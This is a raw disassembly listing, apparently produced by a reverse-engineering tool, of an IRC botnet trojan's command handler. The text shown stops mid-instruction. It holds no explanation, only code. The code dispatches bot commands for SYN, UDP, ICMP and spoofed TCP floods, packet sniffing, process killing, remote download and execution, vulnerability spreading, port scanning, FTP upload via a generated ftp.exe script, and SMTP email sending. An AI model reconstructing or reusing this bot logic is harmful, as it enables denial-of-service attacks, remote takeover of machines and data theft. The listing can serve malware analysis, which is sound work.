[ebp+arg_8] push offset aEnz_prefix ; "enz.prefix" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41100B push [ebp+arg_8] push offset aEnz_pr ; "enz.pr" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41100B push [ebp+arg_8] push offset aBox_open ; "box.open" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410FE1 push [ebp+arg_8] push offset aBox_o ; "box.o" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410FE1 push [ebp+arg_8] push offset aEnz_setserve ; "enz.setserve" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410FBC push [ebp+arg_8] push offset aEnz_se ; "enz.se" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410FBC push [ebp+arg_8] push offset aEnz_dns ; "enz.dns" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410F4C push [ebp+arg_8] push offset aEnz_dn ; "enz.dn" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410F4C push [ebp+arg_8] push offset aBox_killprocna ; "box.killprocname" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410F20 push [ebp+arg_8] push offset aBox_kpn ; "box.kpn" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410F20 push [ebp+arg_8] push offset aBox_prockillid ; "box.prockillid" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410EC5 push [ebp+arg_8] push offset aBox_pkid ; "box.pkid" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410EC5 push [ebp+arg_8] push offset aBox_delete ; "box.delete" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410E8E push [ebp+arg_8] push offset aBox_del ; "box.del" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410E8E push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410DAD push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410DAD push [ebp+arg_8] push offset aBox_filelist ; "box.filelist" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410D92 push [ebp+arg_8] push offset aBox_fl ; "box.fl" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410D92 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410D57 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410D57 push [ebp+arg_8] push offset aBox_cmd ; "box.cmd" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410D0C push [ebp+arg_8] push offset aBox_cm ; "box.cm" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410D0C push [ebp+arg_8] push offset aBox_readfile ; "box.readfile" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410C87 push [ebp+arg_8] push offset aBox_rf ; "box.rf" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410C87 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40E7EF push edi push offset aOn ; "on" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40E7B7 push 19h call sub_413506 test eax, eax pop ecx jle short loc_40E6E4 push offset a_e_1_0bSniff_m ; ".e.(1.0b) ( sniff.m.d.l ) .. Already"... jmp loc_411581 ; --------------------------------------------------------------------------- loc_40E6E4: ; CODE XREF: sub_40CC09+1ACFj mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_3DC], eax mov eax, [ebp+var_4] mov [ebp+var_354], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_350], eax jnz short loc_40E726 mov esi, offset aCcc ; "#ccc" push offset byte_438A10 push esi call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40E726 mov esi, [ebp+var_8C] loc_40E726: ; CODE XREF: sub_40CC09+1AFFj ; sub_40CC09+1B15j push esi lea eax, [ebp+var_3D8] push 80h push eax call sub_413D8A lea eax, [ebp+var_1C4] push offset a_e_1_0bSniff_0 ; ".e.(1.0b) ( sniff.m.d.l ) .. Carnivo"... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 19h push eax call sub_4132BE add esp, 20h mov [ebp+var_358], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3DC] push ebx push eax push offset sub_40211B push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_358] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_40E7A6 loc_40E790: ; CODE XREF: sub_40CC09+1B9Bj cmp [ebp+var_34C], ebx jnz loc_410436 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40E790 ; --------------------------------------------------------------------------- loc_40E7A6: ; CODE XREF: sub_40CC09+1B85j call ds:off_41F06C push eax push offset a_e_1_0bSniff_1 ; ".e.(1.0b) ( sniff.m.d.l ) .. Failed "... jmp loc_4120F8 ; --------------------------------------------------------------------------- loc_40E7B7: ; CODE XREF: sub_40CC09+1ABFj push edi push offset off_433A48 call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_410436 push ebx push 19h call sub_4134B9 pop ecx cmp eax, ebx pop ecx jle short loc_40E7E5 push eax push offset a_e_1_0bSniff_2 ; ".e.(1.0b) ( sniff.m.d.l ) .. Carnivo"... jmp loc_4120F8 ; --------------------------------------------------------------------------- loc_40E7E5: ; CODE XREF: sub_40CC09+1BCFj push offset a_e_1_0bSniff_3 ; ".e.(1.0b) ( sniff.m.d.l ) .. No Carn"... jmp loc_411581 ; --------------------------------------------------------------------------- loc_40E7EF: ; CODE XREF: sub_40CC09+1AAAj push [ebp+arg_8] push offset aBox_net ; "box.net" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40EA8B cmp dword_44CDA8, ebx jz short loc_40E820 cmp dword_44CDD0, ebx jz short loc_40E820 push offset a_e_1_0bNet_m_d ; ".e.(1.0b) ( net.m.d.l ) .. Failed to"... jmp loc_410682 ; --------------------------------------------------------------------------- loc_40E820: ; CODE XREF: sub_40CC09+1C03j ; sub_40CC09+1C0Bj cmp [ebp+var_C], ebx jz loc_410690 mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40E848 push eax push [ebp+var_C] call sub_413DE0 pop ecx mov [ebp+arg_0], eax pop ecx loc_40E848: ; CODE XREF: sub_40CC09+1C2Fj push edi push offset aStart ; "start" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40E8AE cmp [ebp+arg_18], ebx jz short loc_40E882 push [ebp+arg_0] push 3 loc_40E863: ; CODE XREF: sub_40CC09+1CBBj ; sub_40CC09+1CD3j ... call sub_40B350 push eax lea eax, [ebp+var_1C4] push offset aS_2 ; "%s" push eax call sub_413812 add esp, 14h jmp loc_410690 ; --------------------------------------------------------------------------- loc_40E882: ; CODE XREF: sub_40CC09+1C53j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40B5F7 add esp, 0Ch test eax, eax jz short loc_40E8A4 push offset a_e_1_0bNet_m_0 ; ".e.(1.0b) ( net.m.d.l ) .. Service l"... jmp loc_410682 ; --------------------------------------------------------------------------- loc_40E8A4: ; CODE XREF: sub_40CC09+1C8Fj push offset a_e_1_0bNet_m_1 ; ".e.(1.0b) ( net.m.d.l ) .. Service l"... jmp loc_410682 ; --------------------------------------------------------------------------- loc_40E8AE: ; CODE XREF: sub_40CC09+1C4Ej push edi push offset aStop ; "stop" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40E8C6 push [ebp+arg_0] push 4 jmp short loc_40E863 ; --------------------------------------------------------------------------- loc_40E8C6: ; CODE XREF: sub_40CC09+1CB4j push edi push offset aPause ; "pause" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40E8DE push [ebp+arg_0] push 5 jmp short loc_40E863 ; --------------------------------------------------------------------------- loc_40E8DE: ; CODE XREF: sub_40CC09+1CCCj push edi push offset aContinue ; "continue" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40E8F9 push [ebp+arg_0] push 6 jmp loc_40E863 ; --------------------------------------------------------------------------- loc_40E8F9: ; CODE XREF: sub_40CC09+1CE4j push edi push offset aDelete ; "delete" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40E914 push [ebp+arg_0] push 1 jmp loc_40E863 ; --------------------------------------------------------------------------- loc_40E914: ; CODE XREF: sub_40CC09+1CFFj push edi push offset aShare ; "share" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40E991 cmp [ebp+arg_18], ebx jz short loc_40E964 cmp [ebp+var_8B0], bl jz short loc_40E93A push ebx push [ebp+arg_18] push 1 jmp short loc_40E945 ; --------------------------------------------------------------------------- loc_40E93A: ; CODE XREF: sub_40CC09+1D27j push [ebp+esi+var_88] push [ebp+arg_18] push ebx loc_40E945: ; CODE XREF: sub_40CC09+1D2Fj call sub_40B734 push eax lea eax, [ebp+var_1C4] push offset aS_2 ; "%s" push eax call sub_413812 add esp, 18h jmp loc_410690 ; --------------------------------------------------------------------------- loc_40E964: ; CODE XREF: sub_40CC09+1D1Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40B929 add esp, 10h test eax, eax jz short loc_40E987 push offset a_e_1_0bNet_m_2 ; ".e.(1.0b) ( net.m.d.l ) .. Share lis"... jmp loc_410682 ; --------------------------------------------------------------------------- loc_40E987: ; CODE XREF: sub_40CC09+1D72j push offset a_e_1_0bNet_m_3 ; ".e.(1.0b) ( net.m.d.l ) .. Share lis"... jmp loc_410682 ; --------------------------------------------------------------------------- loc_40E991: ; CODE XREF: sub_40CC09+1D1Aj push edi push offset aUser_2 ; "user" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40EA33 mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40EA06 cmp [ebp+var_8B0], bl jz short loc_40E9C7 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_40E9E7 ; --------------------------------------------------------------------------- loc_40E9C7: ; CODE XREF: sub_40CC09+1DAAj push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_40E9E3 push esi push eax push ebx jmp short loc_40E9E7 ; --------------------------------------------------------------------------- loc_40E9E3: ; CODE XREF: sub_40CC09+1DD3j push ebx push eax push 2 loc_40E9E7: ; CODE XREF: sub_40CC09+1DBCj ; sub_40CC09+1DD8j call sub_40BA4A push eax lea eax, [ebp+var_1C4] push offset aS_2 ; "%s" push eax call sub_413812 add esp, 24h jmp loc_410690 ; --------------------------------------------------------------------------- loc_40EA06: ; CODE XREF: sub_40CC09+1DA2j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40BF5E add esp, 10h test eax, eax jz short loc_40EA29 push offset a_e_1_0bNet_m_4 ; ".e.(1.0b) ( net.m.d.l ) .. User list"... jmp loc_410682 ; --------------------------------------------------------------------------- loc_40EA29: ; CODE XREF: sub_40CC09+1E14j push offset a_e_1_0bNet_m_5 ; ".e.(1.0b) ( net.m.d.l ) .. User list"... jmp loc_410682 ; --------------------------------------------------------------------------- loc_40EA33: ; CODE XREF: sub_40CC09+1D97j push edi push offset aSend ; "send" call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_40EA81 cmp [ebp+arg_18], ebx jz short loc_40EA77 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40C212 push eax lea eax, [ebp+var_1C4] push offset aS_2 ; "%s" push eax call sub_413812 add esp, 1Ch jmp loc_410690 ; --------------------------------------------------------------------------- loc_40EA77: ; CODE XREF: sub_40CC09+1E3Ej push offset a_e_1_0bNet_m_6 ; ".e.(1.0b) ( net.m.d.l ) .. No messag"... jmp loc_410682 ; --------------------------------------------------------------------------- loc_40EA81: ; CODE XREF: sub_40CC09+1E39j push offset a_e_1_0bNet_m_7 ; ".e.(1.0b) ( net.m.d.l ) .. Command u"... jmp loc_410682 ; --------------------------------------------------------------------------- loc_40EA8B: ; CODE XREF: sub_40CC09+1BF7j push [ebp+arg_8] push offset aEnz_gethost ; "enz.gethost" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410BA3 push [ebp+arg_8] push offset aEnz_gh ; "enz.gh" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410BA3 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40CFCD push [ebp+arg_8] push offset aEnz_addalias ; "enz.addalias" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410B64 push [ebp+arg_8] push offset aEnz_aa ; "enz.aa" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410B64 push [ebp+arg_8] push offset aEnz_privmsg ; "enz.privmsg" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410B11 push [ebp+arg_8] push offset aEnz_pm ; "enz.pm" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410B11 push [ebp+arg_8] push offset aEnz_action ; "enz.action" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410AA3 push [ebp+arg_8] push offset aEnz_ac ; "enz.ac" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410AA3 push [ebp+arg_8] push offset aEnz_cycle ; "enz.cycle" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410A40 push [ebp+arg_8] push offset aEnz_cy ; "enz.cy" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410A40 push [ebp+arg_8] push offset aEnz_mode ; "enz.mode" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410A01 push [ebp+arg_8] push offset aEnz_m ; "enz.m" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410A01 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410996 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410996 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410914 push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410914 push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4108A3 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4108A3 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41087D push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41087D push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41081A push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41081A push [ebp+arg_8] push offset aEnz_repeat ; "enz.repeat" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410754 push [ebp+arg_8] push offset aEnz_rp ; "enz.rp" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410754 push [ebp+arg_8] push offset aEnz_delay ; "enz.delay" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4106B9 push [ebp+arg_8] push offset aEnz_de ; "enz.de" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4106B9 push [ebp+arg_8] push offset aDownload_updiz ; "download.updiz" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410501 push [ebp+arg_8] push offset aDownload_upz ; "download.upz" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410501 push [ebp+arg_8] push offset aBox_execute ; "box.execute" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41046E push [ebp+arg_8] push offset aBox_e ; "box.e" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_41046E push [ebp+arg_8] push offset aBox_rename ; "box.rename" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4103EA push [ebp+arg_8] push offset aBox_mv ; "box.mv" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4103EA push [ebp+arg_8] push offset aDdos_icmp ; "ddos.icmp" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4102EF push [ebp+arg_8] push offset aDdos_ic ; "ddos.ic" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4102EF mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz loc_40CFCD push [ebp+arg_8] push offset aClone_make ; "clone.make" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410204 push [ebp+arg_8] push offset aClone_start ; "clone.start" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410204 push [ebp+arg_8] push offset aDs_sy1 ; "ds.sy1" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4100FF push [ebp+arg_8] push offset aDs_ack ; "ds.ack" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4100FF push [ebp+arg_8] push offset aDs_rm ; "ds.rm" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_4100FF push [ebp+arg_8] push offset aDdos_synflood ; "ddos.synflood" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410001 push [ebp+arg_8] push offset aSy1 ; "sy1" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_410001 push [ebp+arg_8] push offset aDownload_fromw ; "download.fromwww" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FEC3 push [ebp+arg_8] push offset aD1 ; "d1" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FEC3 push [ebp+arg_8] push offset aServer_redir_0 ; "server.redirect.on" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FDC9 push [ebp+arg_8] push offset aServer_rd_on ; "server.rd.on" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FDC9 push [ebp+arg_8] push offset aEnz_portscan ; "enz.portscan" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FCD6 push [ebp+arg_8] push offset aEnz_ps ; "enz.ps" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FCD6 push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FC01 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FC01 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FAEC push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40FAEC mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40CFCD push [ebp+arg_8] push offset aVuln_start ; "vuln.start" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F793 push [ebp+arg_8] push offset off_42CAA4 call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F793 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F673 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F673 push [ebp+arg_8] push offset aPu ; "pu" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F673 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F532 push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F532 push [ebp+arg_8] push offset aPg ; "pg" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F532 push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F39F push [ebp+arg_8] push offset off_43350C call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F39F push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_40F1DC lea eax, [ebp+var_2E4] push edi push eax call sub_414FB0 push [ebp+arg_18] call sub_413D7F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_E9C] push eax call sub_414FB0 push [ebp+arg_10] lea eax, [ebp+var_A94] push eax call sub_414FB0 push offset asc_425148 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_408296 push eax lea eax, [ebp+var_448] push eax call sub_414FB0 add esp, 30h lea eax, [ebp+var_5F4] push eax push 101h call dword_44CC60 ; WSAStartup lea eax, [ebp+var_2E4] push eax call dword_44CD5C ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_44CD58 ; socket push [ebp+arg_18] mov esi, eax mov [ebp+var_1D8], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1D4], eax call dword_44CCDC ; ntohs mov [ebp+var_1D6], ax lea eax, [ebp+var_448] push eax lea eax, [ebp+var_E9C] push eax lea eax, [ebp+var_448] push eax lea eax, [ebp+var_A94] push eax lea eax, [ebp+var_E9C] push eax lea eax, [ebp+var_129C] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_413812 add esp, 1Ch lea eax, [ebp+var_1D8] push 10h push eax push esi call dword_44CC88 ; connect mov edi, 100h push ebx lea eax, [ebp+var_C98] push edi push eax push esi call dword_44CCF4 ; recv lea eax, [ebp+var_C98] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_129C] push eax push esi call dword_44CD28 ; send push ebx lea eax, [ebp+var_C98] push edi push eax push esi call dword_44CCF4 ; recv push esi call dword_44CD70 ; closesocket call dword_44CC48 ; WSACleanup lea eax, [ebp+var_A94] push eax push offset a_1514enz10b_2_ ; ".15,14enz10b .2.. .15(email.2..15mod) ."... loc_40F1A3: ; CODE XREF: sub_40CC09+36E1j ; sub_40CC09+38F3j ... lea eax, [ebp+var_1C4] push eax call sub_413812 add esp, 0Ch loc_40F1B2: ; CODE XREF: sub_40CC09+36C5j ; sub_40CC09+38A5j ... cmp [ebp+var_8], ebx jnz loc_411E05 push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h jmp loc_411E05 ; --------------------------------------------------------------------------- loc_40F1DC: ; CODE XREF: sub_40CC09+2444j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F371 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_413C30 pop ecx test eax, eax pop ecx jz loc_40F371 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40CFCD push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_413C30 pop ecx test eax, eax pop ecx jnz loc_41217B push 4 push esi call sub_40A90D pop ecx test eax, eax pop ecx jnz short loc_40F246 push esi push offset a_e_1_0bFtp_m_d ; ".e.(1.0b) ( ftp.m.d.l ) .. File not "... jmp loc_411136 ; --------------------------------------------------------------------------- loc_40F246: ; CODE XREF: sub_40CC09+2630j call ds:dword_41F044 ; GetTickCount push eax call sub_413864 pop ecx call sub_41386E push 9 cdq pop ecx idiv ecx push edx call sub_41386E push 63h cdq pop ecx idiv ecx push edx call sub_41386E cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_C9C] push edx push eax lea eax, [ebp+var_A98] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_413812 lea eax, [ebp+var_A98] push offset aAb ; "ab" push eax call sub_414F8F add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40CFCD push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_415DDF push [ebp+arg_24] call sub_414E31 lea eax, [ebp+var_A98] push eax lea eax, [ebp+var_2E4] push offset aSS_5 ; "-s:%s" push eax call sub_413812 add esp, 2Ch lea eax, [ebp+var_2E4] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_44CC5C ; ShellExecuteA test eax, eax push edi push esi jz short loc_40F310 push offset a_e_1_0bFtp_m_0 ; ".e.(1.0b) ( ftp.m.d.l ) .. Uploading"... jmp short loc_40F315 ; --------------------------------------------------------------------------- loc_40F310: ; CODE XREF: sub_40CC09+26FEj push offset a_e_1_0bFtp_m_1 ; ".e.(1.0b) ( ftp.m.d.l ) .. Uploading"... loc_40F315: ; CODE XREF: sub_40CC09+2705j call sub_413812 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40F33E push ebx lea eax, [ebp+var_1C4] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40B2B5 add esp, 14h loc_40F33E: ; CODE XREF: sub_40CC09+2717j lea eax, [ebp+var_1C4] push eax call sub_409833 loc_40F34A: ; CODE XREF: sub_40CC09+2766j lea eax, [ebp+var_A98] push 4 push eax call sub_40A90D add esp, 0Ch test eax, eax jz loc_40CFCD lea eax, [ebp+var_A98] push eax call sub_415DB5 jmp short loc_40F34A ; --------------------------------------------------------------------------- loc_40F371: ; CODE XREF: sub_40CC09+25E4j ; sub_40CC09+25FBj push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_413D7F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_405900 jmp loc_412178 ; --------------------------------------------------------------------------- loc_40F39F: ; CODE XREF: sub_40CC09+2416j ; sub_40CC09+242Dj mov esi, 80h push edi lea eax, [ebp+var_580] push esi push eax call sub_413D8A lea eax, [ebp+var_580] push eax push offset off_42137C call sub_413C30 add esp, 14h test eax, eax jz short loc_40F402 lea eax, [ebp+var_580] push eax push offset off_421378 call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40F402 lea eax, [ebp+var_580] push eax push offset aRandom ; "random" call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_40F402 push offset a_e_1_0bTcp_m_d ; ".e.(1.0b) ( tcp.m.d.l ) .. Invalid f"... jmp loc_411949 ; --------------------------------------------------------------------------- loc_40F402: ; CODE XREF: sub_40CC09+27BFj ; sub_40CC09+27D6j ... push [ebp+arg_10] call sub_413D7F cmp eax, ebx pop ecx mov [ebp+var_478], eax jle loc_40F528 push edi lea eax, [ebp+var_580] push esi push eax call sub_413D8A push [ebp+arg_18] lea eax, [ebp+var_600] push esi push eax call sub_413D8A push [ebp+arg_0] call sub_413D7F mov [ebp+var_47C], eax xor eax, eax cmp [ebp+var_8A2], bl push [ebp+var_8C] setnz al mov [ebp+var_474], eax mov eax, [ebp+arg_4] mov [ebp+var_604], eax lea eax, [ebp+var_500] push esi push eax call sub_413D8A mov eax, [ebp+var_4] add esp, 28h cmp [ebp+var_474], ebx mov [ebp+var_470], eax mov eax, [ebp+var_8] mov [ebp+var_46C], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40F499 mov eax, offset aNormal ; "Normal" loc_40F499: ; CODE XREF: sub_40CC09+2889j push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset a_e_1_0bTcp_m_0 ; ".e.(1.0b) ( tcp.m.d.l ) .. %s %s flo"... lea eax, [ebp+var_1C4] push 0FFh push eax call sub_413D8A push ebx lea eax, [ebp+var_1C4] push 0Ch push eax call sub_4132BE add esp, 2Ch mov [ebp+var_480], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_604] push ebx push eax push offset sub_401BD7 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_480] imul ecx, 134h cmp eax, ebx mov dword_45213C[ecx], eax jz short loc_40F517 loc_40F501: ; CODE XREF: sub_40CC09+290Cj cmp [ebp+var_468], ebx jnz loc_411957 push 32h call ds:dword_41F050 ; Sleep jmp short loc_40F501 ; --------------------------------------------------------------------------- loc_40F517: ; CODE XREF: sub_40CC09+28F6j call ds:off_41F06C push eax push offset a_e_1_0bTcp_m_1 ; ".e.(1.0b) ( tcp.m.d.l ) .. Failed to"... jmp loc_411136 ; --------------------------------------------------------------------------- loc_40F528: ; CODE XREF: sub_40CC09+280Aj push offset a_e_1_0bTcp_m_2 ; ".e.(1.0b) ( tcp.m.d.l ) .. Invalid f"... jmp loc_411949 ; --------------------------------------------------------------------------- loc_40F532: ; CODE XREF: sub_40CC09+23D1j ; sub_40CC09+23E8j ... cmp dword_44CDC8, ebx mov esi, [ebp+arg_4] jnz loc_40F63A mov eax, [ebp+var_8] push 7Fh mov [ebp+var_1EC], eax mov eax, [ebp+var_4] mov [ebp+var_1F0], eax lea eax, [ebp+var_284] push edi push eax call sub_415140 push [ebp+arg_18] call sub_413D7F push [ebp+arg_0] mov [ebp+var_204], eax call sub_413D7F push [ebp+arg_10] mov [ebp+var_200], eax call sub_413D7F push 7Fh mov [ebp+var_1FC], eax push [ebp+var_8C] lea eax, [ebp+var_304] push eax call sub_415140 push [ebp+var_1FC] lea eax, [ebp+var_284] mov [ebp+var_308], esi push [ebp+var_200] push eax lea eax, [ebp+var_1C4] push [ebp+var_204] push offset a_e_1_0bPing_m_ ; ".e.(1.0b) ( ping.m.d.l ) .. Sending "... push eax call sub_413812 push ebx lea eax, [ebp+var_1C4] push 0Eh push eax call sub_4132BE add esp, 48h mov [ebp+var_1F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_308] push ebx push eax push offset sub_408B03 push ebx push ebx call ds:off_41F070 mov ecx, [ebp+var_1F4] imul ecx, 134h 